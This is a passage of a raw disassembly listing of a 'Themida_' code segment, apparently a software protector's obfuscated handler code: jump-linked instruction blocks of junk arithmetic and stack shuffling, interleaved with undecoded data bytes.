		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54B74F
; ---------------------------------------------------------------------------
		db 5Ch
		dd 4C681h, 0C6810000h, 2, 31243433h, 34332434h,	24248B24h
		dd 24048B66h, 56E08950h, 961F15BEh, 0E952575Eh,	0FFFFE7BDh
		dd 28EAEE80h, 0D99EE9F0h, 2C87FFFFh, 242C8B24h,	0E904C483h
		dd 0FFFFF0D2h
; ---------------------------------------------------------------------------


loc_54C390:				; CODE XREF: Themida_:0054F413j
		sub	edx, ebp
		pop	ebp
		sub	edx, 6AF0285Ch
		sub	edx, eax
		add	edx, 6AF0285Ch
		jmp	loc_54AADE
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 54653C25h, 0FFF972E9h, 240481FFh, 4,	0B82E9h, 24048900h
		dd 0B65174B8h, 4E8C16Dh, 0FEE95340h, 29FFFF85h,	8104244Ch
		dd 8C042444h, 56779373h, 0FF965CE9h, 59EA81FFh,	0E9DDC48Fh
		dd 0FFFFC3B7h, 9F08ED81h, 0EB894001h, 5D2434FFh, 0E904C483h
		dd 0FFFFB6EBh, 0C281E289h, 4, 8704C283h, 0BAE92414h, 57FFFFE5h
		dd 0FFEEBFE9h, 31665CFFh, 0E99C2404h, 0FFFF6D41h, 16EB68h
		dd 243C8900h, 0BE565F54h, 4, 0E95EF701h, 2E94h,	81E68956h
		dd 4C6h, 4C68300h, 5C243487h, 5502C583h, 0FF9102E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C455:				; CODE XREF: Themida_:005499D6j
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_5464D4
; ---------------------------------------------------------------------------
		db 81h
		dd 0E41164C6h, 1543E9B7h, 48B0000h, 4C48324h, 0C8BCB88h
		dd 0E0895024h, 405h, 0FF89E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C48A:				; CODE XREF: Themida_:0054A376j
		mov	edx, 142F780Bh
		dec	edx
		or	edx, 7FD47033h
		inc	edx
		inc	edx
		add	edx, 63E257F8h
		sub	edx, 0F737CB8Dh
		jmp	loc_54D0B0
; ---------------------------------------------------------------------------


loc_54C4A9:				; CODE XREF: Themida_:005479A0j
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_54D56C
; ---------------------------------------------------------------------------
		db 83h
		dd 78E902C3h, 89FFFF99h, 4C581E5h, 81000000h, 4C5h, 242C8700h
		dd 9D7DE95Ch, 0B60FFFFFh, 48F66C0h, 9B15E987h, 0F801FFFFh
		dd 0FFCDACE9h, 243433FFh, 33243431h, 0E95C2434h, 0FFFFEA06h
; ---------------------------------------------------------------------------


loc_54C4F8:				; CODE XREF: Themida_:0054BFB3j
		add	ebp, edx
		push	edi
		jmp	loc_54D63E
; ---------------------------------------------------------------------------
		dd 5B66FA28h, 0E904EC83h, 2CCBh, 240C8B66h, 9EEE956h, 1A680000h
		dd 0E9000014h, 2916h, 0D2DD829h, 0E948430Dh, 0FFFFE2D0h
		dd 47A25BEh, 5EF02942h,	4C71872Dh, 94BE5648h, 2D37995Ah
		dd 764E540Dh, 4C68F029h, 8900003Ah, 0DBD242Ch, 1764E54h
		dd 837FE9E8h, 0AFBAFFFFh, 0BF175B39h, 175B39D3h, 431FC781h
		dd 38E935BAh
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C56F:				; CODE XREF: Themida_:00547493j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54AE8C
; ---------------------------------------------------------------------------


loc_54C57F:				; CODE XREF: Themida_:005476A4j
		pop	esp
		jmp	loc_543165
; ---------------------------------------------------------------------------
		db 58h,	87h, 0Ch
aLRs		db '$$$R\',9,0
		align 2
		dw 515Ah
		dd 0EDD0D7B5h, 0E935CD80h, 1558h, 4C4835Bh, 0E902C183h
		dd 0FFFF9E61h, 5B66DA28h, 53241C8Bh, 0FFA855E9h, 4C681FFh
		dd 87000000h, 0F5C2434h, 76F468C8h, 4890000h, 6B93E924h
		dd 0F729FFFFh, 0D8C6815Eh, 124F70Ch, 0D8EE81FEh, 5F24F70Ch
		dd 4EC81h, 2C890000h, 3B55BD24h, 0F58119E2h, 19E23B57h
		dd 45A7EE81h, 0C6813060h, 6EBB25D7h, 15D1E9h
		db 0
; ---------------------------------------------------------------------------


loc_54C609:				; CODE XREF: Themida_:0054AAC4j
		add	esi, 67ED095Bh
		add	esi, ebx
		sub	esi, 67ED095Bh
		pop	ebx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_5460EF
; ---------------------------------------------------------------------------
		db 50h
		dd 4B8h, 37716800h, 14890000h, 7894E924h, 1005FFFFh, 8B558006h
		dd 0C481243Ch, 4, 0FF9F80E9h, 9EA81FFh,	0F7358D2Ah, 1EF281DAh
		dd 0E9D189D7h, 0D34h, 5059CB29h, 11A9E9h, 9AC98000h, 0E901C180h
		dd 1614h, 0D668515Ch, 8900005Bh, 1AE92424h, 54FFFFAAh
		dd 8124048Fh, 42404h, 0F3E90000h, 8FFFFFF7h, 0E95C2404h
		dd 189Ah
; ---------------------------------------------------------------------------


loc_54C69C:				; CODE XREF: Themida_:00549C7Aj
		mov	ebx, [esp]
		add	esp, 4
		add	eax, 7EE83B38h
		add	eax, edi
		sub	eax, 7EE83B38h
		push	39B6h
		mov	[esp], ebx
		push	eax
		mov	eax, 0
		mov	ebx, eax
		pop	eax
		add	ebx, eax
		xor	dword ptr [ebx], 3BF20448h
		jmp	loc_54A82B
; ---------------------------------------------------------------------------


loc_54C6CC:				; CODE XREF: Themida_:0054A29Ej
		push	edi
		jmp	loc_544C6E
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0DD8DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C6DA:				; CODE XREF: Themida_:00543F15j
		shr	eax, 0Bh
		xor	ecx, eax
		push	edx
		jmp	loc_5460C8
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0D0h
		dd 0E92F3A48h, 28Fh, 9B6355BEh,	5EF53122h, 815DE901h, 4E9h
		dd 240C8700h, 243C895Ch, 0BB53E789h, 70DE2F1Fh,	2F1BF381h
		dd 0DF0170DEh, 0ABB9515Bh, 415A8D18h, 8107E1C1h, 73AA02C1h
		dd 59CF01B9h, 31243C33h, 3C33243Ch, 24248B24h, 240CD366h
		dd 6A23E99Ch, 0EA80FFFFh, 80CA00C3h, 0B9E9C3C2h, 8BFFFFCAh
		dd 0C483242Ch, 5CF58104h, 5F47DA7Fh, 815DE829h,	435F5BEBh
		dd 4BB8506Eh, 2974C552h, 575658C3h, 0C7875BFh, 0B8EDBE55h
		dd 0FE299D10h, 0E9F3015Fh, 2CAAh, 37E9EB29h, 57FFFFB3h
		dd 0D8E9E789h, 0E9FFFFEEh, 0FFFF69CDh, 0F180D9F6h, 57F180A6h
		dd 1935E9h, 4BA00h, 0D7010000h,	4C7835Ah, 81E68956h, 4C6h
		dd 4EE8100h, 0E9000000h, 10E9h
; ---------------------------------------------------------------------------


loc_54C7C4:				; CODE XREF: Themida_:0054E877j
		mov	ecx, ebx
		pop	ebx
		shl	ecx, 5
		push	esi
		mov	esi, 65203293h
		shl	esi, 1
		or	esi, 56A908B3h
		add	esi, 41A52AADh
		jmp	loc_544B4A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 783F6800h, 2FE90000h, 53FFFF9Bh, 0FA4B14BBh, 58CB8116h
		dd 4B52E01Dh, 568DC381h, 0C3816236h, 15874706h,	5E9D3F7h
		dd 53FFFF99h, 0EBC00BB3h, 40E38003h, 0C3FEDBF6h, 8033E380h
		dd 0D8E92AEBh, 28FFFFA1h, 4EC81D8h, 0E9000000h,	0FFFFEEEDh
		dd 5C241487h, 0FFA017E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C841:				; CODE XREF: Themida_:0054BB47j
		sub	esi, 6A3747E5h
		pop	ebx
		sub	esi, 2
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_543165
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 2414D259h, 68F3E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C872:				; CODE XREF: Themida_:0054AFB5j
		xor	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_54AEDC
; ---------------------------------------------------------------------------
		db 0B9h
		dd 0E260A783h, 51E9CB01h, 81FFFF82h, 301713EAh,	6E0DE968h
		dd 0BB53FFFFh, 1AD606BEh, 0A61FC4BEh, 0E9DE010Ah, 0FFFFB279h
		dd 55241489h, 0FFC6DFE9h, 0E6E95AFFh
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C8C3:				; CODE XREF: Themida_:00544262j
		add	esp, 4
		add	bl, al
		mov	ax, [esp]
		add	esp, 2
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dd 1DE9C361h, 0B3000019h, 0FCC6E916h, 0E956FFFFh, 1F5Bh
; ---------------------------------------------------------------------------


loc_54C8EC:				; CODE XREF: Themida_:0054CA27j
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	eax
		mov	eax, 0E3060A8Bh
		add	esi, eax
		jmp	loc_546EF0
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 4C281h, 0C2830000h, 9ACCE904h, 8166FFFFh, 0E9D802EBh
		dd 0FFFF8DE4h, 4013B850h, 0E9571568h, 0FFFFBC02h, 0B0F2814Ah
		dd 8112EE12h, 0F22E44F2h, 0CF2815Dh, 89742354h,	0B9515AD7h
		dd 52843F7Dh, 0E959CF29h, 0FFFF8674h, 4F012D5Bh, 0D8297EBAh
		dd 0BA4F0105h, 2434FF7Eh, 0E954525Bh, 0FFFFB16Bh, 33240C31h
		dd 248B240Ch, 24148924h, 0E6E99C50h, 50FFFF67h,	0F6DC1B8h
		dd 6E9406Dh, 1FFFFEBh, 2952DF8h, 0E6E9181Ch, 81FFFF8Fh
		dd 4ECh, 48F5400h, 24048324h, 0E9515E04h, 0FFFFB213h, 5FBEE181h
		dd 0C1811846h, 4440F902h, 0FF6BA8E9h, 0D6BD55FFh, 8169FE7Bh
		dd 4438B7EDh, 5DEF2934h, 0FF72FFE9h, 0FE959FFh,	56FFFFB4h
		dd 25D1B951h, 4941566Ch, 0E10CC181h, 0CE89C17Ch, 0B1C68159h
		dd 313AD0ABh, 92E95EF7h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C9F7:				; CODE XREF: Themida_:00546476j
		mov	al, 0B1h
		mov	dh, 0D3h
		add	dh, al
		pop	eax
		jmp	loc_54889C
; ---------------------------------------------------------------------------
		db 87h
		dd 895C240Ch, 51BA2414h, 4A48AE5Ah, 0FFFFEA81h,	32E9FFFFh
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CA1B:				; CODE XREF: Themida_:0054E063j
		mov	esi, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_54C8EC
; ---------------------------------------------------------------------------
		dd 77E9D2F6h, 81FFFF97h, 2C23F2E7h, 5E7C130h, 91FFE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CA42:				; CODE XREF: Themida_:00547981j
		pop	ebp
		jmp	loc_548A9E
; ---------------------------------------------------------------------------
		dd 10F9B850h, 0C5890A0Fh, 8CF58158h, 0C1237E61h, 0C58107EDh
		dd 0FFAD1D20h, 565DEE01h, 42474FFh, 8124348Bh, 4C4h, 24048F00h
		dd 2824248Bh, 0E99C2404h, 0FFFFF825h, 0FF66E0E9h, 4C681FFh
		dd 83000000h, 348704C6h, 0CEE95C24h
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CA97:				; CODE XREF: Themida_:0054ADD4j
		sub	edi, 7FB6637Bh
		shr	edi, 3
		add	edi, 0E456471Fh
		add	ebp, edi
		jmp	loc_54D9CC
; ---------------------------------------------------------------------------
		db 53h,	0B7h, 0B6h
		dd 664EE780h, 2454F653h, 0E95B6601h, 796h, 0FF66A0E9h
		dd 48B66FFh, 78616824h,	34890000h, 55E68924h, 3015E2BDh
		dd 83B8E973h, 0C829FFFFh, 5A545259h, 0F3DE9h, 4B69BB00h
		dd 0EBC115B8h, 1221E904h, 81580000h, 4E9h, 240C8700h, 243C895Ch
		dd 0C7815F54h, 4, 0FFB9B7E9h, 0C8B66FFh, 3F326824h, 34890000h
		dd 4EC8324h, 57242489h,	4BFh, 247C0100h, 34FF5F04h, 54535E24h
		dd 4C3815Bh, 83000000h,	1C8704C3h, 0F805E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CB46:				; CODE XREF: Themida_:0054DD64j
		xor	bh, 3
		xor	cl, bh
		pop	ebx
		shl	cl, 2
		add	cl, 31h
		sub	bl, 0EEh
		add	bl, cl
		add	bl, 0EEh
		pop	ecx
		movzx	eax, al
		mov	dx, [esp]
		push	3E78h
		mov	[esp], esi
		mov	esi, esp
		push	eax
		push	ecx
		mov	ecx, 46D92C74h
		jmp	loc_546842
; ---------------------------------------------------------------------------
		dd 784C94BBh, 4E3C14Ah,	6802E3C1h, 5F7Ch, 56241C89h, 0CE7E9h
		db 0
; ---------------------------------------------------------------------------


loc_54CB91:				; CODE XREF: Themida_:0054CC5Bj
		pop	esp
		or	[esp], eax
		pushf
		jmp	loc_543165
; ---------------------------------------------------------------------------


loc_54CB9B:				; CODE XREF: Themida_:0054A6C7j
		add	edi, 2934450Dh
		push	esi
		mov	esi, edi
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54D49A
; ---------------------------------------------------------------------------
		db 0BFh, 2, 0
		dd 0FD010000h, 0FFA515E9h, 240489FFh, 3C240481h, 8F3FAE01h
		dd 57534047h, 557D00BFh, 474E95Ah, 885C0000h, 0E95B871Ch
		dd 0FFFF6585h, 4C481h, 0ED810000h, 3C9323A5h, 51D1C681h
		dd 0C6815E78h, 3B2A34BDh, 0B951EE01h, 798C653Bh, 0FFB561E9h
		dd 0E95150FFh, 0FFFFDE6Fh, 58E130h, 240C8BC8h, 4C481h
		dd 502C0000h, 0FFC7F9E9h, 8B5453FFh, 0C481241Ch, 4, 4C381h
		dd 0E9510000h, 0FFFFA9A2h, 4C481h, 0EC830000h, 242C8904h
		dd 0FF8C8CE9h, 0E95358FFh, 0FFFFCA09h, 0E9241489h, 0FFFFB959h
; ---------------------------------------------------------------------------


loc_54CC58:				; CODE XREF: Themida_:0054F1C5j
		xchg	esi, [esp]
		jmp	loc_54CB91
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 15CDh, 0EC81E389h, 4, 0B9240C89h, 12140DF7h
		dd 0FFBBCBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CC7D:				; CODE XREF: Themida_:005452C3j
		add	edx, eax
		add	edx, 256B076Fh
		push	eax
		mov	eax, 0
		add	eax, edx
		mov	ecx, [eax]
		pop	eax
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5446B8
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F2E905EBh, 81FFFF6Bh, 68F585C7h, 5FF8016Ch,	0FFBA27E9h
		dd 78C381FFh, 162F730h,	78EB81C3h, 5062F730h, 614D60B8h
		dd 58C32902h, 6CEBEB81h, 0FF663288h, 0FDAAE930h, 34FFFFFFh
		dd 0C9B7E924h, 0D5F7FFFFh, 0D0E4E945h, 5E52FFFFh, 0FFB15AE9h
		dd 2BEF80FFh, 1C8BFA88h, 4C48124h, 88000000h, 0AF1DE9D7h
		dd 0E181FFFFh, 638371C6h, 46D4F181h, 0C801148Bh, 2EE95B59h
		dd 8100000Dh, 0DA49ECEDh, 0B4BF5725h, 0E9209285h, 0FFFFB27Eh
		dd 0C3815B58h, 4, 4C381h, 0FF530000h, 5B042474h, 8B24048Fh
		dd 28E92424h, 89FFFFF5h, 24148BD5h, 0E904C483h,	1711h
		dd 4240481h, 5B000000h,	4C381h,	0FDE90000h, 8BFFFFC9h
		dd 0E957240Ch, 0FFFFF36Eh
; ---------------------------------------------------------------------------


loc_54CD70:				; CODE XREF: Themida_:0054B8C1j
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_545ADD
; ---------------------------------------------------------------------------
		db 54h
		dd 8324048Bh, 0B95104C4h, 78C81631h, 0AADE9h, 0E9535E00h
		dd 0FFFFBBA3h, 34875F5Bh, 24248B24h, 0E99CC884h, 0FFFF63C1h
		dd 24048F54h, 4240481h,	59000000h, 0FFF38AE9h, 2C481FFh
		dd 53000000h, 65B3E951h, 248BFFFFh, 24148924h, 0EEC0C2B6h
		dd 8EEC005h, 0E905E6C0h, 0FFFF878Eh, 4702E7C1h,	0D869C781h
		dd 9CE91A7Ah, 51FFFFE9h, 0FB0AE5B9h, 81E9D11Bh,	264525E9h
		dd 0E9D1F739h, 0FFFFD4B3h, 285318BDh, 1D5BE972h, 32FF0000h
		dd 0FFDF3EE9h, 241C87FFh, 240C895Ch, 81E78957h,	4C7h, 4EF8300h
		dd 5C243C87h, 0B4240489h, 58E5884Eh, 5759E830h,	0BE56E789h
		dd 32FC7FDAh, 802AC681h, 0F701CD03h, 4BB535Eh, 0E9000000h
		dd 0E8h, 66D8005Ah, 2FC6685Bh, 0C890000h, 663AB524h, 8036B353h
		dd 0DD0026C5h, 6626ED80h, 7DCD805Bh, 5094CD80h,	405E089h
		dd 2D000000h, 2, 5C240487h, 24048966h, 0E2E914B0h, 89FFFF9Fh
		dd 0E9535DEEh, 0FFFF7749h, 875DE901h, 8B5C240Ch, 0C4832404h
		dd 85BB5304h, 2D0CE41Ah, 2A930D6Bh, 8B5E9h, 5AD78900h
		dd 15FFE29h, 0B1E6E9F0h, 8957FFFFh, 4C781E7h, 81000000h
		dd 4EFh, 243C8700h, 242C895Ch, 0EEBFE956h, 0EF81FFFFh
		dd 2CBFCD07h, 815FFD89h, 0FDED02C5h, 0F896E90Fh, 0E289FFFFh
		dd 4C281h, 0C2810000h, 4, 0E9241487h, 0FFFFF770h, 4A5768h
		dd 48F5400h, 24048124h,	4, 0CBBAE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CF1A:				; CODE XREF: Themida_:00545368j
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jmp	loc_549EF6
; ---------------------------------------------------------------------------
aS_5		db ')=',7,0
		align 4
		dd 875BDF29h, 83E9243Ch, 8BFFFFFEh, 89522404h, 2E5E9E2h
		dd 3C290000h, 0E7C15F24h, 2EFC108h, 0BB535251h,	68B67B9h
		dd 3C1FA5BAh, 5BDA3134h, 874EF287h, 3D1468F2h, 0C890000h
		dd 0FCE95324h, 58FFFFE0h, 0FF9FB3E9h, 327468FFh, 0E2E90000h
		dd 0F7FFFFBEh, 0E7CA81D2h, 812D2109h, 0A9D4FEF2h, 0FF17E9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CF9A:				; CODE XREF: Themida_:00544773j
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5431E6
; ---------------------------------------------------------------------------


loc_54CFC3:				; CODE XREF: Themida_:0054F05Dj
		dec	ebp
		shl	ebp, 8
		xchg	esi, ebp
		not	esi
		jmp	loc_54EAD2
; ---------------------------------------------------------------------------
		dd 6439BE56h, 7401352Dh, 348B0424h, 4C48324h, 5A240481h
		dd 0E962406Ch, 0FFFF6179h, 90E9C801h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CFF3:				; CODE XREF: Themida_:00546D09j
		mov	edx, [esp]
		add	esp, 4
		add	eax, ebp
		pop	ebp
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp


loc_54D012:				; CODE XREF: Themida_:loc_54E3D3j
		push	7F6Fh
		mov	[esp], ebx
		xor	dword ptr [esp], 77BE3961h
		jmp	loc_54E22D
; ---------------------------------------------------------------------------


loc_54D026:				; CODE XREF: Themida_:00548AAFj
		and	ecx, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5436DF
; ---------------------------------------------------------------------------


loc_54D042:				; CODE XREF: Themida_:00546ED7j
		push	ecx
		mov	ecx, edi
		jmp	loc_54D36B
; ---------------------------------------------------------------------------
		dw 0FB89h
		dd 0C383435Fh, 9667E901h, 3C89FFFFh, 66DCE924h,	2D5EFFFFh
		dd 7A80FE02h, 581C4709h, 0FF9056E9h, 0E95F54FFh, 0FFFF613Dh
		dd 0FF241C89h, 0C15B240Ch, 0BD5505E3h, 0CF040020h, 835DEB29h
		dd 1C8904ECh, 24478F24h, 68241C8Bh, 27CAh, 89240489h, 405E0h
		dd 0C0830000h, 24048704h, 0E9D2315Ch, 0FFFFC6C2h
; ---------------------------------------------------------------------------


loc_54D0B0:				; CODE XREF: Themida_:0054C4A4j
		sub	ebx, edx
		pop	edx
		jmp	loc_544778
; ---------------------------------------------------------------------------
		dd 8107E2C1h, 66E20EC2h, 2C8152C3h, 40297B24h, 0B9515E30h
		dd 2DD4605Eh, 0FF9B44E9h, 1C77FFFFh, 0D259669Dh, 0E99C241Ch
		dd 0FFFF6081h, 243C875Ch, 0FF9B1BE9h, 4C481FFh,	5A000000h
		dd 0FFCA3FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D0F9:				; CODE XREF: Themida_:00548DB7j
		sub	edx, 1
		jmp	loc_549CF6
; ---------------------------------------------------------------------------


loc_54D101:				; CODE XREF: Themida_:00547412j
		xchg	ebx, [esp]
		pop	esp
		shr	ecx, 7
		push	ebx
		push	edi
		push	eax
		jmp	loc_547482
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFFFBD5h
; ---------------------------------------------------------------------------


loc_54D118:				; CODE XREF: Themida_:0054B997j
		push	ecx
		mov	ecx, 22FE72C3h
		jmp	loc_545655
; ---------------------------------------------------------------------------
		db 2Ch
		dd 0AB53E9F2h, 36E9FFFFh, 89FFFF60h, 87BF243Ch,	5484C71h
		dd 87069E7h, 0E72DF801h, 5F087069h, 47A2505h, 12B72D42h
		dd 0BA522B7Fh, 37CA323Dh, 81FFEA83h, 0A273EE2h,	2BBF575Ch
		dd 476EDC36h, 594E9h, 5EF78900h, 0FFF461E9h, 0E930FFFFh
		dd 0FFFF5FEDh, 5C241487h, 348BF289h, 265E924h, 89560000h
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 0FF67A9E9h, 0C18851FFh
		dd 0FF6431E9h, 4EC83FFh, 89243489h, 390568E6h, 14890000h
		dd 0BE685624h, 5E1E564Eh, 0FF95DBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D1C1:				; CODE XREF: Themida_:0054EE85j
		mov	[esp], ecx
		mov	ecx, 1
		add	[edi+24h], ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		push	ebx
		jmp	loc_54357D
; ---------------------------------------------------------------------------


loc_54D1D8:				; CODE XREF: Themida_:005488E1j
		add	al, cl
		mov	cx, [esp]
		add	esp, 2
		sub	al, 76h
		jmp	loc_545B33
; ---------------------------------------------------------------------------


loc_54D1E8:				; CODE XREF: Themida_:00546B48j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	eax, [esp]
		pop	esp
		add	bx, 5A84h
		sub	bx, 6478h
		sub	bx, 0C81h
		add	bx, ax
		jmp	loc_5482D2
; ---------------------------------------------------------------------------
		db 1, 0EFh, 5Dh
		dd 295FF889h, 48B2447h,	4C48124h, 56000000h, 0FF7B02E9h
		dd 8BC729FFh, 26E92404h, 81FFFFDDh, 4C2h, 0BDABE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D23A:				; CODE XREF: Themida_:00544F07j
		add	ecx, ebp
		add	ecx, 487F21E4h
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		xchg	ecx, [esp]
		jmp	loc_544CE5
; ---------------------------------------------------------------------------
		dw 0C780h
		dd 5BFA30F1h, 0FF5F7EE9h, 246C01FFh, 24448104h,	8C5C7E04h
		dd 0D965E950h, 0C581FFFFh, 4, 0FF6790E9h, 243C89FFh, 0C781E789h
		dd 4, 643168h, 24048900h, 4B8h,	0E9C70100h, 0FFFF99C8h
		dd 4B85055h, 89000000h,	0EB8158C5h, 5C911333h, 0C381EB29h
		dd 5C911333h, 0FFBC18E9h, 18F681FFh, 891C096Dh,	0ACC9E9F5h
		dd 0C681FFFFh, 306045A7h, 2434875Dh, 0FFE1F4E9h, 0FEE9D0FFh
		dd 16C180C1h, 6659CB28h, 6DB450h, 48B66E3h, 2C48124h, 0E9000000h
		dd 0FFFFF1E2h, 81243C8Bh, 4C4h,	0D7C38100h, 0E917726Eh
		dd 0FFFFE0C7h
; ---------------------------------------------------------------------------


loc_54D308:				; CODE XREF: Themida_:005432B6j
		pop	ecx
		jmp	loc_546D21
; ---------------------------------------------------------------------------
		dw 0E3C1h
		dd 0CC76E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D316:				; CODE XREF: Themida_:00547EF9j
		sub	eax, 2FC007BFh
		sub	eax, 70777E8Ah
		pop	esi
		jmp	loc_54553D
; ---------------------------------------------------------------------------


loc_54D326:				; CODE XREF: Themida_:0054A5C5j
		pop	ebp


loc_54D327:				; CODE XREF: Themida_:0054B0F3j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, ebx
		push	ebp
		push	ecx
		push	esi
		mov	esi, 264A7E18h
		mov	ecx, esi
		jmp	loc_544BD0
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 68552404h, 322Fh, 83242489h,	5D042404h, 4BA52h, 0DAE90000h
		db 6Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D35B:				; CODE XREF: Themida_:00546D96j
		mov	edx, edi
		jmp	loc_54E86B
; ---------------------------------------------------------------------------


loc_54D362:				; CODE XREF: Themida_:00544EF7j
		pop	esi
		push	dword ptr [esp]
		jmp	loc_544992
; ---------------------------------------------------------------------------


loc_54D36B:				; CODE XREF: Themida_:0054D045j
		mov	ebp, ecx
		jmp	loc_54BF10
; ---------------------------------------------------------------------------
		dw 0E181h
		dd 45366BB9h, 4EC81h, 4890000h,	165DB824h, 0F748243Dh
		dd 5E8C1D0h, 0E904E0C1h, 0FFFFB765h, 0A85BE956h, 0DA28FFFFh
		dd 8B63C280h, 0C483241Ch, 0E9CAFE04h, 0FFFFF680h, 24048B66h
		dd 0E904EC83h, 0FFFFFC9Eh, 0A75546BAh, 8BD5292Bh, 0C4832414h
		dd 0A7A0E904h, 0E959FFFFh, 0FFFF6B59h, 795DDD68h, 0D0F75834h
		dd 86A22635h, 58C189CBh, 0C8BC801h, 29E95124h, 83FFFF77h
		dd 72E904C4h, 81FFFF5Dh, 0CB780BF6h, 0E0F5E943h, 0C380FFFFh
		dd 5BDA2844h, 287EF280h, 0D8005AD3h, 0DB2525Bh,	6603E2C0h
		dd 0B92FE953h, 815BFFFFh, 4ECh,	241C8900h, 0FFB373E9h
		dd 5B66FFh, 0E80058E5h,	0FFC8DBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D435:				; CODE XREF: Themida_:0054DFA0j
		mov	esi, 53A5268h
		sub	edx, esi
		pop	esi
		add	edx, 15F11C6Ah
		add	edx, edi
		sub	edx, 15F11C6Ah
		push	eax
		mov	eax, 72E97A2Dh
		shr	eax, 7
		and	eax, 70FF073Eh
		or	eax, 32E2815h
		xor	eax, 6D5785Dh
		add	edx, eax
		pop	eax
		push	dword ptr [edx]
		pop	eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	esp, 4
		jmp	loc_54DEA1
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 0CD79E950h, 1489FFFFh, 24048124h,	37710130h, 0EAE1E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D49A:				; CODE XREF: Themida_:0054CBACj
		pop	edi
		mov	edx, eax
		pop	eax
		jmp	loc_54DF20
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 0E3895304h, 40CE9h
		db 0
; ---------------------------------------------------------------------------


loc_54D4B1:				; CODE XREF: Themida_:00543C3Fj
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_543D9C
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 79A1027Ah, 0B951EB01h, 4D1F3648h, 1724E181h,	0C1810909h
		dd 35467128h, 8105E9C1h, 537E43F1h, 59CB0178h, 0BE564B5Dh
		dd 43A963C1h, 2451E681h, 0DEF70B05h, 0FF7D07E9h, 2434FFFFh
		dd 4C4815Eh, 56000000h,	4B88BE66h, 4E68166h, 0CE816641h
		dd 81660D4Bh, 0E90707EEh, 0FFFFA62Ch, 79E9E5B5h, 0C1FFFFADh
		dd 0BAE908E2h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D527:				; CODE XREF: Themida_:0054D9C7j
		jmp	loc_543165
; ---------------------------------------------------------------------------
